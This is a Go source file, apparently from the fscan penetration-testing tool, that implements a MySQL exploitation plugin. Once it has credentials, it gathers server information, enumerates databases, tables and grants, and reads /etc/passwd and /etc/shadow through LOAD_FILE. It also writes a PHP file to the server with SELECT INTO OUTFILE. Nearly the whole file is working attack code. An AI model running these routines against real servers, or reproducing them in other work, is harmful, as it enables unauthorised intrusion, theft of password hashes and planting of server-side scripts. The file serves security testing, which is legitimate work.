fscan/Plugins/services/mysql/exploiter.go
ZacharyZcR b346e6bdc1 feat: 完善插件系统i18n国际化支持
- 修复重复输出问题:适配器层改为debug输出,避免与插件层重复
- 修复格式化错误:修正SaveExploitResult中的端口格式化问题
- 新增利用方法名称i18n:添加GetExploitMethodName函数支持方法名本地化
- 扩展i18n消息模板:新增利用方法执行、MySQL/Redis专用消息模板
- 完善exploiter国际化:所有利用方法和结果消息支持中英文切换
- 优化用户体验:利用方法显示从"information_gathering"变为"信息收集"
2025-08-07 12:30:17 +08:00

375 lines
11 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package mysql
import (
"context"
"database/sql"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/plugins/base"
"strconv"
"strings"
)
// MySQLExploiter MySQL利用器实现
type MySQLExploiter struct {
*base.BaseExploiter
connector *MySQLConnector
}
// NewMySQLExploiter 创建MySQL利用器
func NewMySQLExploiter() *MySQLExploiter {
exploiter := &MySQLExploiter{
BaseExploiter: base.NewBaseExploiter("mysql"),
connector: NewMySQLConnector(),
}
// 添加利用方法
exploiter.setupExploitMethods()
return exploiter
}
// setupExploitMethods 设置利用方法
func (e *MySQLExploiter) setupExploitMethods() {
// 1. 信息收集
infoMethod := base.NewExploitMethod(base.ExploitDataExtraction, "information_gathering").
WithDescription("收集MySQL服务器信息").
WithPriority(8).
WithConditions("has_credentials").
WithHandler(e.exploitInformationGathering).
Build()
e.AddExploitMethod(infoMethod)
// 2. 数据库枚举
enumMethod := base.NewExploitMethod(base.ExploitDataExtraction, "database_enumeration").
WithDescription("枚举数据库和表").
WithPriority(7).
WithConditions("has_credentials").
WithHandler(e.exploitDatabaseEnumeration).
Build()
e.AddExploitMethod(enumMethod)
// 3. 用户权限检查
privMethod := base.NewExploitMethod(base.ExploitDataExtraction, "privilege_check").
WithDescription("检查用户权限").
WithPriority(6).
WithConditions("has_credentials").
WithHandler(e.exploitPrivilegeCheck).
Build()
e.AddExploitMethod(privMethod)
// 4. 文件读取如果有FILE权限
fileReadMethod := base.NewExploitMethod(base.ExploitDataExtraction, "file_read").
WithDescription("读取服务器文件").
WithPriority(9).
WithConditions("has_credentials").
WithHandler(e.exploitFileRead).
Build()
e.AddExploitMethod(fileReadMethod)
// 5. 文件写入如果有FILE权限
fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "file_write").
WithDescription("写入文件到服务器").
WithPriority(10).
WithConditions("has_credentials").
WithHandler(e.exploitFileWrite).
Build()
e.AddExploitMethod(fileWriteMethod)
}
// exploitInformationGathering 信息收集利用
func (e *MySQLExploiter) exploitInformationGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "information_gathering", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "information_gathering")
// 获取版本信息
version, err := e.getVersion(ctx, db)
if err == nil {
base.AddOutputToResult(result, i18n.GetText("mysql_version_info", version))
result.Extra["version"] = version
}
// 获取当前用户
user, err := e.getCurrentUser(ctx, db)
if err == nil {
base.AddOutputToResult(result, i18n.GetText("mysql_current_user", user))
result.Extra["current_user"] = user
}
// 获取当前数据库
database, err := e.getCurrentDatabase(ctx, db)
if err == nil {
base.AddOutputToResult(result, i18n.GetText("mysql_current_database", database))
result.Extra["current_database"] = database
}
return result, nil
}
// exploitDatabaseEnumeration 数据库枚举利用
func (e *MySQLExploiter) exploitDatabaseEnumeration(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "database_enumeration", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "database_enumeration")
// 枚举数据库
databases, err := e.enumerateDatabases(ctx, db)
if err == nil && len(databases) > 0 {
base.AddOutputToResult(result, i18n.GetText("mysql_databases_found", strings.Join(databases, ", ")))
result.Extra["databases"] = databases
}
// 枚举表(限制在非系统数据库中)
tables, err := e.enumerateTables(ctx, db)
if err == nil && len(tables) > 0 {
base.AddOutputToResult(result, i18n.GetText("mysql_tables_found", tables))
result.Extra["tables"] = tables
}
return result, nil
}
// exploitPrivilegeCheck 权限检查利用
func (e *MySQLExploiter) exploitPrivilegeCheck(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "privilege_check", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "privilege_check")
// 检查用户权限
privileges, err := e.getUserPrivileges(ctx, db)
if err == nil && len(privileges) > 0 {
base.AddOutputToResult(result, i18n.GetText("mysql_user_privileges", strings.Join(privileges, ", ")))
result.Extra["privileges"] = privileges
}
// 检查是否有FILE权限
hasFilePriv := e.hasFilePrivilege(privileges)
result.Extra["has_file_privilege"] = hasFilePriv
if hasFilePriv {
base.AddOutputToResult(result, i18n.GetText("mysql_file_privilege_detected"))
}
return result, nil
}
// exploitFileRead 文件读取利用
func (e *MySQLExploiter) exploitFileRead(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read", err), nil
}
defer db.Close()
// 尝试读取常见的敏感文件
filesToRead := []string{
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"C:\\Windows\\System32\\drivers\\etc\\hosts",
}
result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "file_read")
hasRead := false
for _, file := range filesToRead {
content, err := e.readFile(ctx, db, file)
if err == nil && content != "" {
base.AddOutputToResult(result, i18n.GetText("mysql_file_read_success", file, content))
hasRead = true
}
}
if !hasRead {
return base.CreateFailedExploitResult(base.ExploitDataExtraction, "file_read",
fmt.Errorf(i18n.GetText("mysql_no_file_privilege"))), nil
}
return result, nil
}
// exploitFileWrite 文件写入利用
func (e *MySQLExploiter) exploitFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) {
db, err := e.connectWithCredentials(ctx, info, creds)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
}
defer db.Close()
result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "file_write")
// 尝试写入测试文件
testContent := "<?php echo 'MySQL File Write Test'; ?>"
testFile := "/tmp/mysql_test.php"
err = e.writeFile(ctx, db, testFile, testContent)
if err != nil {
return base.CreateFailedExploitResult(base.ExploitFileWrite, "file_write", err), nil
}
base.AddOutputToResult(result, i18n.GetText("mysql_file_write_success", testFile))
base.AddFileToResult(result, testFile)
return result, nil
}
// =============================================================================
// MySQL操作辅助函数
// =============================================================================
// connectWithCredentials 使用凭据连接数据库
func (e *MySQLExploiter) connectWithCredentials(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*sql.DB, error) {
// 解析端口号
port, err := strconv.Atoi(info.Ports)
if err != nil {
return nil, fmt.Errorf("无效的端口号: %s", info.Ports)
}
connStr := e.buildConnectionString(info.Host, port, creds.Username, creds.Password)
db, err := sql.Open("mysql", connStr)
if err != nil {
return nil, err
}
// 测试连接
if err = db.PingContext(ctx); err != nil {
db.Close()
return nil, err
}
return db, nil
}
// buildConnectionString 构建连接字符串
func (e *MySQLExploiter) buildConnectionString(host string, port int, username, password string) string {
if common.Socks5Proxy != "" {
return fmt.Sprintf("%s:%s@tcp-proxy(%s:%d)/mysql?charset=utf8&timeout=10s",
username, password, host, port)
}
return fmt.Sprintf("%s:%s@tcp(%s:%d)/mysql?charset=utf8&timeout=10s",
username, password, host, port)
}
// getVersion 获取MySQL版本
func (e *MySQLExploiter) getVersion(ctx context.Context, db *sql.DB) (string, error) {
var version string
err := db.QueryRowContext(ctx, "SELECT VERSION()").Scan(&version)
return version, err
}
// getCurrentUser 获取当前用户
func (e *MySQLExploiter) getCurrentUser(ctx context.Context, db *sql.DB) (string, error) {
var user string
err := db.QueryRowContext(ctx, "SELECT USER()").Scan(&user)
return user, err
}
// getCurrentDatabase 获取当前数据库
func (e *MySQLExploiter) getCurrentDatabase(ctx context.Context, db *sql.DB) (string, error) {
var database string
err := db.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&database)
return database, err
}
// enumerateDatabases 枚举数据库
func (e *MySQLExploiter) enumerateDatabases(ctx context.Context, db *sql.DB) ([]string, error) {
rows, err := db.QueryContext(ctx, "SHOW DATABASES")
if err != nil {
return nil, err
}
defer rows.Close()
var databases []string
for rows.Next() {
var dbName string
if err := rows.Scan(&dbName); err != nil {
continue
}
databases = append(databases, dbName)
}
return databases, nil
}
// enumerateTables 枚举表
func (e *MySQLExploiter) enumerateTables(ctx context.Context, db *sql.DB) (map[string][]string, error) {
rows, err := db.QueryContext(ctx, `
SELECT TABLE_SCHEMA, TABLE_NAME
FROM information_schema.TABLES
WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
LIMIT 50
`)
if err != nil {
return nil, err
}
defer rows.Close()
tables := make(map[string][]string)
for rows.Next() {
var schema, table string
if err := rows.Scan(&schema, &table); err != nil {
continue
}
tables[schema] = append(tables[schema], table)
}
return tables, nil
}
// getUserPrivileges 获取用户权限
func (e *MySQLExploiter) getUserPrivileges(ctx context.Context, db *sql.DB) ([]string, error) {
rows, err := db.QueryContext(ctx, "SHOW GRANTS")
if err != nil {
return nil, err
}
defer rows.Close()
var privileges []string
for rows.Next() {
var grant string
if err := rows.Scan(&grant); err != nil {
continue
}
privileges = append(privileges, grant)
}
return privileges, nil
}
// hasFilePrivilege 检查是否有FILE权限
func (e *MySQLExploiter) hasFilePrivilege(privileges []string) bool {
for _, priv := range privileges {
if strings.Contains(strings.ToUpper(priv), "FILE") {
return true
}
}
return false
}
// readFile 读取文件
func (e *MySQLExploiter) readFile(ctx context.Context, db *sql.DB, filename string) (string, error) {
var content string
query := fmt.Sprintf("SELECT LOAD_FILE('%s')", filename)
err := db.QueryRowContext(ctx, query).Scan(&content)
return content, err
}
// writeFile 写入文件
func (e *MySQLExploiter) writeFile(ctx context.Context, db *sql.DB, filename, content string) error {
query := fmt.Sprintf("SELECT '%s' INTO OUTFILE '%s'", content, filename)
_, err := db.ExecContext(ctx, query)
return err
}